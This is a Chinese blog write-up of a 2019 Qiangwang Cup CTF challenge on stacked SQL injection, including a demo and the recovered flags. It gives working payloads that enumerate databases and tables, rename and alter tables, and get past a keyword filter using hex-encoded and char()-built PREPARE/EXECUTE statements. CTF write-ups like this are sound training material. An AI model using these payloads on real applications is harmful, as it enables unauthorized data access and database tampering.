# 2019强网杯随便注writeup

原创

ghtwf01 于 2020-12-01 17:08:12 发布 42 收藏 1

分类专栏： CTF Writeup 文章标签： 安全 php 网络安全 信息安全





先添加一个单引号，报错，错误信息如下：

```
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server vers
ion for the right syntax to use near ''1''' at line 1
```

接着测试–+注释，发现被过滤，然后使用#注释，可行
用order by语句判断出有两个字段，接着使用union select 爆字段，发现这个时候出现了如下提示：

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

发现上面的关键字都被过滤不能使用了，没法进行注入，这个时候尝试一下堆叠注入

这里讲解一下堆叠注入

**堆叠注入原理：**

在sql语句中以;表示一个语句的结束，如果一个sql语句结束后再接着一个sql语句，就会执行这两条sql语句

演示如下：

此时数据库里面存着如下账号密码的表

```
mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
13 rows in set (0.06 sec)
```

我们来试一试一次性执行两条sql语句，第一条是删除id为14的用户，第二条是新建id为13的用户并赋予账号密码

```
mysql> delete from users where id=14;insert into users(id,username,password) values (13,'test','test')
Query OK, 1 row affected (0.00 sec)

Query OK, 1 row affected (0.00 sec)

mysql> select * from users;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 13 | test     | test       |
+----+----------+------------+
13 rows in set (0.00 sec)
```

发现成功执行两条sql语句

假设有一条sql语句如下，利用堆叠注入效果如何呢

```
select xxx from table_name where id='$id' limit 0,1
```

注入后：

```
select xxx from table_name where id='$id';show databases;#' limit 0,1
```

因为是单引号闭合，所以添加单引号后加分号，前面就是一条完整的sql语句`select xxx from table_name where id='$id';`
后面的sql语句就是`show databases;`
`#`注释掉后面的`limit 0,1`

现在回到这道题，利用堆叠注入，查询所有数据库

```
1';show databases;#
```

姿势: 1';show databases; # 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```

---

查询所有表

```
1';show tables;#
```

姿势: 1';show tables; # 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

查询words表中所有列

```
1';show columns from words;#
```

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

查`询1919810931114514`表中所有列

1';show columns from `1919810931114514`;#(字符串为表名操作时要加反引号)

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表，因为查询出的结果是一个数字加一个字符串，words表结构是id和data，传入的inject参数也就是赋值给了id

**方法一(修改数据库结构):**

这道题没有禁用rename和alert，所以我们可以采用修改表结构的方法来得到flag

将words表名改为words1，再将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者添加id字段

```
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
```

这段代码的意思是将`words`表名改为`words1`，`1919810931114514`表名改为`words`，将现在的`words`表中的`flag`列名改为`id`

然后用`1' or 1=1 #`得到flag

姿势: 1' or 1=1# 提交查询

```
array(1) {
  [0]=>
  string(42) "flag{d9c64ad7-13d9-4fce-8cce-dce801fd3960}"
}
```

**方法二(mysql预处理):**

语句一:

```
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
```

(那一串是select * from `1919810931114514`的十六进制)

姿势: 1 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(42) "flag{7371da83-0f6e-421b-ae7a-b6cc55ec88a9}"
}
```

语句二:

```
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
```

(`char(115,101,108,101,99,116)`是把s e l e c t的ascii码转换为字符连接起来，再把后面的拼接起来就成了select * from `1919810931114514`)

姿势: 1 提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(42) "flag{7371da83-0f6e-421b-ae7a-b6cc55ec88a9}"
}
```